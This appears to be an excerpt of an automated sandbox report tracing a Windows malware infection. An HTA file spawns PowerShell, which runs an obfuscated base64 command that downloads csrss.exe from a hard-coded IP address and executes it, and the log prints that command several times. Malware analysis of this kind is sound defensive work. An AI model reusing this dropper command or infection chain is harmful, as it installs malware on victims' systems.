Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EB307	16_2_2B5EB307
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5E22D0	16_2_2B5E22D0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EF2B8	16_2_2B5EF2B8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EF2A7	16_2_2B5EF2A7
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EA951	16_2_2B5EA951
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EA960	16_2_2B5EA960
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EF710	16_2_2B5EF710
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EF701	16_2_2B5EF701
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5E4721	16_2_2B5E4721
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EEE50	16_2_2B5EEE50
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EEE60	16_2_2B5EEE60
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EBE2F	16_2_2B5EBE2F
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C160498	16_2_2C160498
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1634A0	16_2_2C1634A0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C165938	16_2_2C165938
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C160AF8	16_2_2C160AF8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C166712	16_2_2C166712
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16AC11	16_2_2C16AC11
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16D018	16_2_2C16D018
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C160006	16_2_2C160006
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16D008	16_2_2C16D008
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C168C30	16_2_2C168C30
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16AC20	16_2_2C16AC20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C160040	16_2_2C160040
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16D470	16_2_2C16D470
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16B078	16_2_2C16B078
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16D461	16_2_2C16D461
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16B068	16_2_2C16B068
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C160488	16_2_2C160488
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16D8B9	16_2_2C16D8B9
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16B4D0	16_2_2C16B4D0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16B4C0	16_2_2C16B4C0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16D8C8	16_2_2C16D8C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16DD12	16_2_2C16DD12
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16B919	16_2_2C16B919
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16DD20	16_2_2C16DD20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16B928	16_2_2C16B928
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16BD70	16_2_2C16BD70
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16E178	16_2_2C16E178
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16E169	16_2_2C16E169
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16BD80	16_2_2C16BD80
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C168DB8	16_2_2C168DB8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16E5D0	16_2_2C16E5D0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16C1D8	16_2_2C16C1D8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16E5C0	16_2_2C16E5C0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16C1C8	16_2_2C16C1C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1609EA	16_2_2C1609EA
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169210	16_2_2C169210
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16EA19	16_2_2C16EA19
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169200	16_2_2C169200
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16C630	16_2_2C16C630
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16C620	16_2_2C16C620
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16EA28	16_2_2C16EA28
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169658	16_2_2C169658
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16EE70	16_2_2C16EE70
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169668	16_2_2C169668
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C161A90	16_2_2C161A90
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16EE80	16_2_2C16EE80
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C161A80	16_2_2C161A80
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169AB2	16_2_2C169AB2
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16F2D8	16_2_2C16F2D8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C161ED9	16_2_2C161ED9
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169AC0	16_2_2C169AC0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16F2C8	16_2_2C16F2C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C161EE8	16_2_2C161EE8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C160AE8	16_2_2C160AE8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169F18	16_2_2C169F18
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C169F08	16_2_2C169F08
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C162330	16_2_2C162330
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C162340	16_2_2C162340
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16A370	16_2_2C16A370
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16A361	16_2_2C16A361
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C162798	16_2_2C162798
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16278A	16_2_2C16278A
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16A7B8	16_2_2C16A7B8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16CBAF	16_2_2C16CBAF
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16CBC0	16_2_2C16CBC0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C16A7C8	16_2_2C16A7C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C162BF0	16_2_2C162BF0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C162BE0	16_2_2C162BE0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F2EB8	16_2_2C1F2EB8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F2850	16_2_2C1F2850
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F0B30	16_2_2C1F0B30
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F4040	16_2_2C1F4040
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F21E8	16_2_2C1F21E8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F1B80	16_2_2C1F1B80
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F2EA8	16_2_2C1F2EA8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F2840	16_2_2C1F2840
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F0B20	16_2_2C1F0B20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F0006	16_2_2C1F0006
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F4030	16_2_2C1F4030
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F0040	16_2_2C1F0040
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F21D8	16_2_2C1F21D8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F1B71	16_2_2C1F1B71
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F3550	16_2_2C1F3550
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C1F3540	16_2_2C1F3540
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C7D9DB8	16_2_2C7D9DB8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C7D2E60	16_2_2C7D2E60
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2C7D112C	16_2_2C7D112C
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00408C60	16_1_00408C60
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_0040DC11	16_1_0040DC11
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00407C3F	16_1_00407C3F
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00418CCC	16_1_00418CCC
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00406CA0	16_1_00406CA0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_004028B0	16_1_004028B0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_0041A4BE	16_1_0041A4BE
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00418244	16_1_00418244
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00401650	16_1_00401650
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00402F20	16_1_00402F20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_004193C4	16_1_004193C4
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00418788	16_1_00418788
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00402F89	16_1_00402F89
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_00402B90	16_1_00402B90
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_1_004073A0	16_1_004073A0

Source: Joe Sandbox View

Dropped File: C:\Users\user\Links\dajivhqI.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301

Source: C:\Users\user\Links\dajivhqI.pif	Code function: String function: 0040D606 appears 48 times
Source: C:\Users\user\Links\dajivhqI.pif	Code function: String function: 0040E1D8 appears 88 times
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: String function: 02E9457C appears 835 times
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: String function: 02E9421C appears 64 times
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: String function: 02E94414 appears 246 times
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: String function: 02EA3E9C appears 45 times
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: String function: 02E94240 appears 31 times
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: String function: 02EA3E20 appears 54 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\Links\dajivhqI.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Users\user\Links\dajivhqI.pif	Command line argument: 08A	16_2_00413780
Source: C:\Users\user\Links\dajivhqI.pif	Command line argument: 08A	16_2_00413780
Source: C:\Users\user\Links\dajivhqI.pif	Command line argument: 08A	16_1_00413780

Source: C:\Users\user\AppData\Roaming\csrss.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\mybestgirlfriendwalkingaroundtheworld.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES43E7.tmp" "c:\Users\user\AppData\Local\Temp\xzofjfee\CSC4F15B4BDA3DF43B881AE17521298E1BA.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe"
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\3185.cmd""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Users\user\Links\dajivhqI.pif C:\\Users\\user\\Links\dajivhqI.pif
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES43E7.tmp" "c:\Users\user\AppData\Local\Temp\xzofjfee\CSC4F15B4BDA3DF43B881AE17521298E1BA.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd""	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\3185.cmd""	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process created: C:\Users\user\Links\dajivhqI.pif C:\\Users\\user\\Links\dajivhqI.pif	Jump to behavior

Source: Yara match	File source: 11.2.csrss.exe.247e118.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.csrss.exe.247e118.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.csrss.exe.2e90000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1358823987.000000000247E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

